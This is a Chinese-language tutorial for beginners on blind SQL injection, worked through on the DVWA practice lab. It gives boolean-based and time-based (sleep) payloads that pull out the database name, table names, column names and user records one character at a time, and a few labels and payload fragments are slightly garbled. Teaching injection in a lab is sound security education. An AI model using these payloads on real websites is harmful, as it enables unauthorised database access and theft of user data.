SQL盲注_渗透小白必看
[ SQL盲注 ] 盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
SQL盲注方式:
1.布尔盲注:
布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2.时间盲注:
界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
SQL盲注流程:
1、判断是否存在注入,注入是字符型还是数字型
2、猜解当前数据库名→猜解数据库长度→猜解数据库的名字
3、猜解数据库的表名→猜解当前库中有多少个表(表的数量)→猜解表的长度—猜解表的名字
4、猜解表中的字段名→猜解当前表中有多少个字段(字段的数量)→猜解字段的长度→猜解字段的名字
5、猜解数据
二、DVWA环境下进行
1)、布尔盲注:
Phpstuday + Dvwa
1、判断是否存在注入,注入是字符型还是数字型
从源码可以看出为字符型
1' and '1'='1
1' and '1'='2
存在注入,注入为字符型
2、猜解当前数据库名→猜解数据库长度→猜解数据库的名字
1' and length(database())=1 #
1' and length(database())=4 # (数据库长度为4)
猜解数据库的名字ASCII码 dvwa
第一个 1' and ascii(substr(database(),1,1))>97 #
1' and ascii(substr(database(),1,1))<100 # (二分法)
1' and ascii(substr(database(),1,1))<101 #
库名第一个字符为 d(100)
第二个 1' and ascii(substr(database(),2,1))>97 #
1' and ascii(substr(database(),2,1))<110 #
1' and ascii(substr(database(),2,1))<119 #
1' and ascii(substr(database(),2,1))<118 #
库名第二个字符为 v(118)
以此类推
1' and ascii(substr(database(),3,1))>97 #
1' and ascii(substr(database(),4,1))>97 #
二分出剩下库名
3、猜解数据库的表名→猜解当前库中有多少个表(表的数量)→猜解表的长度→猜解表的名字
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 # 表的数量(2)
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 # 第一个表的长度为9
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5 # 第一个表的长度为5
猜解表的名字
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103 #
第一个表名的第一个字符为 g(103)
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),2))=117 #
第一个表名的第一个字符为 u(117)
…
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117 #
第二个表名的第一个字符为 u(117)
以此类推
='dvwa' limit 1,1),2))=1 #
='dvwa' limit 1,1),3))=1 #
二分出剩下库名
4、猜解表中的字段名 猜解当前表中有多少个字段(字段的数量)→猜解字段的长度→猜解字段的名字
1' and (select count(column_name) from information_schema.columns where table_name='users')=11 # 字段的数量为11
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4#
字段的长度为 4
猜解字段的名字
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=117 #
5. 猜解数据
1' and if ((select count(column_name)from information_schema.columns where table_name='users')=11,sleep(5),1)#
1' and if (length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4,sleep(5),1)#
1' and if (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))>97,sleep(5),1)#
5、猜解数据
1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#